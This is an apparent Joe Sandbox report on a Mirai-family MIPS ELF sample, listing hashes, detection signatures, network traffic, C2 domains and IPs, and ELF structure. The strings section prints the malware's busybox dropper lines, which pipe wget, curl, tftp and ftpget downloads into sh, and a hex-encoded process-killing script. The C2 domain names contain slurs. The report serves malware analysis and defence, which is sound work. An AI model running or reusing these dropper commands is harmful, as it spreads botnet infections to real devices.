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Linux Analysis Report
jklmips.elf

Overview

General Information

Sample name:	jklmips.elf
Analysis ID:	1543616
MD5:	0d28778c12ca8187d7c25a39cbf139b5
SHA1:	d6acf3d900bfa3cd334bbe4fb077aef271ef9b7b
SHA256:	88e10bb097ce1060c1f2798a3cd7d94eccde25e260d7ec8b08731f47d6c1b692
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543616
Start date and time:	2024-10-28 08:02:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklmips.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/129@14/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: burnthe.libre. [malformed]
VT rate limit hit for: netfags.geek. [malformed]
VT rate limit hit for: yellowchink.pirate. [malformed]

Runtime Messages

Command:	/tmp/jklmips.elf
PID:	5418
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

jklmips.elf (PID: 5418, Parent: 5343, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/jklmips.elf

jklmips.elf New Fork (PID: 5420, Parent: 5418)

jklmips.elf New Fork (PID: 5422, Parent: 5420)

jklmips.elf New Fork (PID: 5426, Parent: 5420)

jklmips.elf New Fork (PID: 5428, Parent: 5420)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: jklmips.elf	Virustotal: Detection: 33%			Perma Link
Source: jklmips.elf	ReversingLabs: Detection: 42%

Source: global traffic	TCP traffic: 45.156.86.26 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8

Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]

Source: global traffic	TCP traffic: 192.168.2.13:33348 -> 45.156.86.26:38241
Source: global traffic	TCP traffic: 192.168.2.13:49966 -> 45.156.86.24:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 187.32.35.9
Source: unknown	TCP traffic detected without corresponding DNS query: 222.141.231.206
Source: unknown	TCP traffic detected without corresponding DNS query: 116.201.159.54
Source: unknown	TCP traffic detected without corresponding DNS query: 70.130.182.218
Source: unknown	TCP traffic detected without corresponding DNS query: 173.59.160.139
Source: unknown	TCP traffic detected without corresponding DNS query: 187.32.35.9
Source: unknown	TCP traffic detected without corresponding DNS query: 222.141.231.206
Source: unknown	TCP traffic detected without corresponding DNS query: 116.201.159.54
Source: unknown	TCP traffic detected without corresponding DNS query: 70.130.182.218
Source: unknown	TCP traffic detected without corresponding DNS query: 171.168.96.51
Source: unknown	TCP traffic detected without corresponding DNS query: 173.59.160.139
Source: unknown	TCP traffic detected without corresponding DNS query: 171.168.96.51
Source: unknown	TCP traffic detected without corresponding DNS query: 215.1.23.45
Source: unknown	TCP traffic detected without corresponding DNS query: 188.163.113.75
Source: unknown	TCP traffic detected without corresponding DNS query: 215.1.23.45
Source: unknown	TCP traffic detected without corresponding DNS query: 6.45.191.174
Source: unknown	TCP traffic detected without corresponding DNS query: 188.163.113.75
Source: unknown	TCP traffic detected without corresponding DNS query: 188.77.51.232
Source: unknown	TCP traffic detected without corresponding DNS query: 6.45.191.174
Source: unknown	TCP traffic detected without corresponding DNS query: 181.247.228.80
Source: unknown	TCP traffic detected without corresponding DNS query: 188.77.51.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.138.205.186
Source: unknown	TCP traffic detected without corresponding DNS query: 181.247.228.80
Source: unknown	TCP traffic detected without corresponding DNS query: 216.99.167.249
Source: unknown	TCP traffic detected without corresponding DNS query: 5.138.205.186
Source: unknown	TCP traffic detected without corresponding DNS query: 28.133.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 216.99.167.249
Source: unknown	TCP traffic detected without corresponding DNS query: 162.148.9.38
Source: unknown	TCP traffic detected without corresponding DNS query: 28.133.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 93.244.196.221
Source: unknown	TCP traffic detected without corresponding DNS query: 216.99.167.249
Source: unknown	TCP traffic detected without corresponding DNS query: 162.148.9.38
Source: unknown	TCP traffic detected without corresponding DNS query: 180.132.150.252
Source: unknown	TCP traffic detected without corresponding DNS query: 93.244.196.221
Source: unknown	TCP traffic detected without corresponding DNS query: 28.133.38.33
Source: unknown	TCP traffic detected without corresponding DNS query: 222.7.221.156
Source: unknown	TCP traffic detected without corresponding DNS query: 180.132.150.252
Source: unknown	TCP traffic detected without corresponding DNS query: 19.59.131.70
Source: unknown	TCP traffic detected without corresponding DNS query: 162.148.9.38
Source: unknown	TCP traffic detected without corresponding DNS query: 222.7.221.156
Source: unknown	TCP traffic detected without corresponding DNS query: 171.81.71.110
Source: unknown	TCP traffic detected without corresponding DNS query: 93.244.196.221
Source: unknown	TCP traffic detected without corresponding DNS query: 180.132.150.252
Source: unknown	TCP traffic detected without corresponding DNS query: 19.59.131.70
Source: unknown	TCP traffic detected without corresponding DNS query: 77.195.208.130
Source: unknown	TCP traffic detected without corresponding DNS query: 222.7.221.156
Source: unknown	TCP traffic detected without corresponding DNS query: 202.12.127.144
Source: unknown	TCP traffic detected without corresponding DNS query: 171.81.71.110
Source: unknown	TCP traffic detected without corresponding DNS query: 59.239.175.229
Source: unknown	TCP traffic detected without corresponding DNS query: 77.195.208.130

Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]

Source: jklmips.elf	String found in binary or memory: http:///curl.sh
Source: jklmips.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5430/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5430/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5448/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5449/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5504/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5504/cmdline	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5518/maps	Jump to behavior
Source: /tmp/jklmips.elf (PID: 5426)	File opened: /proc/5518/cmdline	Jump to behavior

Source: jklmips.elf, 5418.1.000055f557067000.000055f5570ee000.rw-.sdmp, jklmips.elf, 5422.1.000055f557067000.000055f5570ee000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: jklmips.elf, 5418.1.000055f557067000.000055f5570ee000.rw-.sdmp, jklmips.elf, 5422.1.000055f557067000.000055f5570ee000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: jklmips.elf, 5418.1.00007fffd8686000.00007fffd86a7000.rw-.sdmp, jklmips.elf, 5422.1.00007fffd8686000.00007fffd86a7000.rw-.sdmp	Binary or memory string: *x86_64/usr/bin/qemu-mips/tmp/jklmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklmips.elf
Source: jklmips.elf, 5418.1.00007fffd8686000.00007fffd86a7000.rw-.sdmp, jklmips.elf, 5422.1.00007fffd8686000.00007fffd86a7000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
jklmips.elf	34%	Virustotal		Browse
jklmips.elf	42%	ReversingLabs	Linux.Trojan.Mirai

IP	Domain	Country	ASN	ASN Name	Malicious
139.120.169.70	unknown	Norway	5619	EVRY-NO	false
93.180.151.154	unknown	Bosnia and Herzegowina	198252	ELTAKABEL-ASDobojskihbrigadaBBBA	false
51.250.99.252	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
144.131.173.25	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
62.103.25.139	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
65.92.87.80	unknown	Canada	577	BACOMCA	false
141.28.11.123	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
107.39.139.38	unknown	United States	16567	NETRIX-16567US	false
196.240.167.31	unknown	Seychelles	37518	FIBERGRIDSC	false
120.171.70.62	unknown	Indonesia	4761	INDOSAT-INP-APINDOSATInternetNetworkProviderID	false
180.173.57.180	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
96.233.108.32	unknown	United States	701	UUNETUS	false
102.191.160.219	unknown	Egypt	24835	RAYA-ASEG	false
189.207.91.54	unknown	Mexico	6503	AxtelSABdeCVMX	false
197.128.81.46	unknown	Morocco	6713	IAM-ASMA	false
125.239.111.166	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
205.81.4.93	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
150.178.243.55	unknown	Italy	137	ASGARRConsortiumGARREU	false
94.241.172.98	unknown	Iran (ISLAMIC Republic Of)	207141	NAKHLJONOOBIR	false
101.127.25.28	unknown	Singapore	55430	STARHUB-NGNBNStarhubLtdSG	false
217.139.219.241	unknown	Egypt	20928	NOOR-ASEG	false
7.54.253.23	unknown	United States	3356	LEVEL3US	false
220.74.4.220	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
114.56.64.155	unknown	Indonesia	4795	INDOSATM2-IDINDOSATM2ASNID	false
2.223.249.43	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
21.93.187.55	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
51.81.7.180	unknown	United States	16276	OVHFR	false
140.136.27.26	unknown	Taiwan; Republic of China (ROC)	38845	FJU-AS-TWFuJenCatholicUniversityTW	false
56.124.125.161	unknown	United States	2686	ATGS-MMD-ASUS	false
174.208.233.103	unknown	United States	22394	CELLCOUS	false
35.75.148.36	unknown	United States	16509	AMAZON-02US	false
14.254.104.144	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
189.253.238.148	unknown	Mexico	8151	UninetSAdeCVMX	false
101.225.14.231	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
39.242.71.175	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
161.70.54.23	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
193.207.211.116	unknown	Italy	3269	ASN-IBSNAZIT	false
200.60.147.168	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
7.8.139.185	unknown	United States	3356	LEVEL3US	false
161.118.143.118	unknown	Japan	13041	CESCA-ACES	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
56.124.125.161	NIGi5.elf	Get hash	malicious	Mirai	Browse
174.208.233.103	na.elf	Get hash	malicious	Mirai, Moobot	Browse
174.208.233.103	oq4NwZ7fjn.elf	Get hash	malicious	Mirai	Browse
35.75.148.36	g7VzUD302F.elf	Get hash	malicious	Mirai	Browse
62.103.25.139	pv3WIJf11q.elf	Get hash	malicious	Mirai	Browse
65.92.87.80	wTqTYMcJLU.elf	Get hash	malicious	Mirai	Browse
102.191.160.219	sora.arm7	Get hash	malicious	Mirai	Browse

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown
netfags.geek. [malformed]	unknown	unknown	true	unknown
yellowchink.pirate. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklmips.elf	false		unknown
http:///curl.sh	jklmips.elf	false		unknown

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
yellowchink.pirate	splarm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.26
	nabppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splspc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24

Process:	/tmp/jklmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.198111224295879
Encrypted:	false
SSDEEP:	6:URYNcsL0Y/VUS/FYczCY/VpHHT/VDM/V+4D/VH:IYy7S/FFzbHHRMfF
MD5:	92065F579A16EF50D219280E40AE5B05
SHA1:	E318ACE1924855E223CAED9B8C07895A5CAD0A6F
SHA-256:	D3810741F65E90F2F01A5EEDACB1E892412206BE3FE195A81FD589EE1A1360F7
SHA-512:	68B168748F6C6FCF4367ACCE7614204527C95AF5F974172911453F010B425553AB8D92AA0F755A0A7839879DC3F1F7ECCD051A97D5630F11C268AD990FA6D57B
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531566 /tmp/..453000-454000 rw-p 00013000 fd:00 531566 /tmp/..454000-456000 rw-p 00000000 00:00 0 .456000-457000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.52365856896954
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklmips.elf
File size:	80'560 bytes
MD5:	0d28778c12ca8187d7c25a39cbf139b5
SHA1:	d6acf3d900bfa3cd334bbe4fb077aef271ef9b7b
SHA256:	88e10bb097ce1060c1f2798a3cd7d94eccde25e260d7ec8b08731f47d6c1b692
SHA512:	9ecdfd171809eee4b80289f341c1bf7a432b929e9eb5dd2659ff828ed0921476cfd79d6c0f475b04bf06d4fc55adb8bc6413a349b203ec5065e0182cac2134b9
SSDEEP:	1536:Adhb3BXcohEINgqisu8dCfv2xWuWO7Mb7Ndb7z22fsPyA5HfrnI8sR4:Ibx/h2mSv2xWuYxA5/rnIy
TLSH:	3073C71B3E259FADFB6D833587B78B20978873962BD0C581D16CF9015E6034E641FBA8
File Content Preview:	.ELF.....................@.`...4..8X.....4. ...(.............@...@....1...1...............1..E1..E1....X...4........dt.Q............................<...'..\|...!'.......................<...'..X...!... ....'9... ......................<...'..(...!........'9

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11ff0	0x0	0x6	AX	16
.fini	PROGBITS	0x412110	0x12110	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412170	0x12170	0x1020	0x0	0x2	A	16
.ctors	PROGBITS	0x453194	0x13194	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45319c	0x1319c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x4531a4	0x131a4	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4531a8	0x131a8	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x453290	0x13290	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x453420	0x13420	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x4537ec	0x137ec	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453810	0x137ec	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x137ec	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x137ec	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13190	0x13190	5.5477	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13194	0x453194	0x453194	0x658	0x1834	3.7180	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 08:03:31.270669937 CET	192.168.2.13	168.235.111.72	0xf954	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:03:32.381618977 CET	192.168.2.13	185.181.61.24	0x1fc4	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:03:33.435496092 CET	192.168.2.13	81.169.136.222	0x126a	Standard query (0)	burnthe.libre. [malformed]	256	325	false
Oct 28, 2024 08:03:34.505189896 CET	192.168.2.13	81.169.136.222	0xa18b	Standard query (0)	netfags.geek. [malformed]	256	326	false
Oct 28, 2024 08:03:35.547926903 CET	192.168.2.13	202.61.197.122	0xdeda	Standard query (0)	yellowchink.pirate. [malformed]	256	327	false
Oct 28, 2024 08:03:36.658485889 CET	192.168.2.13	152.53.15.127	0x86de	Standard query (0)	burnthe.libre. [malformed]	256	328	false
Oct 28, 2024 08:03:48.053034067 CET	192.168.2.13	202.61.197.122	0x8a2b	Standard query (0)	yellowchink.pirate. [malformed]	256	340	false
Oct 28, 2024 08:04:00.096785069 CET	192.168.2.13	168.235.111.72	0xe48e	Standard query (0)	burnthe.libre. [malformed]	256	352	false
Oct 28, 2024 08:04:12.022948980 CET	192.168.2.13	185.181.61.24	0x5496	Standard query (0)	netfags.geek. [malformed]	256	364	false
Oct 28, 2024 08:04:23.898530006 CET	192.168.2.13	51.158.108.203	0xe11	Standard query (0)	netfags.geek. [malformed]	256	375	false
Oct 28, 2024 08:04:35.789625883 CET	192.168.2.13	168.235.111.72	0x4067	Standard query (0)	yellowchink.pirate. [malformed]	256	387	false
Oct 28, 2024 08:04:36.895881891 CET	192.168.2.13	194.36.144.87	0x31a	Standard query (0)	burnthe.libre. [malformed]	256	388	false
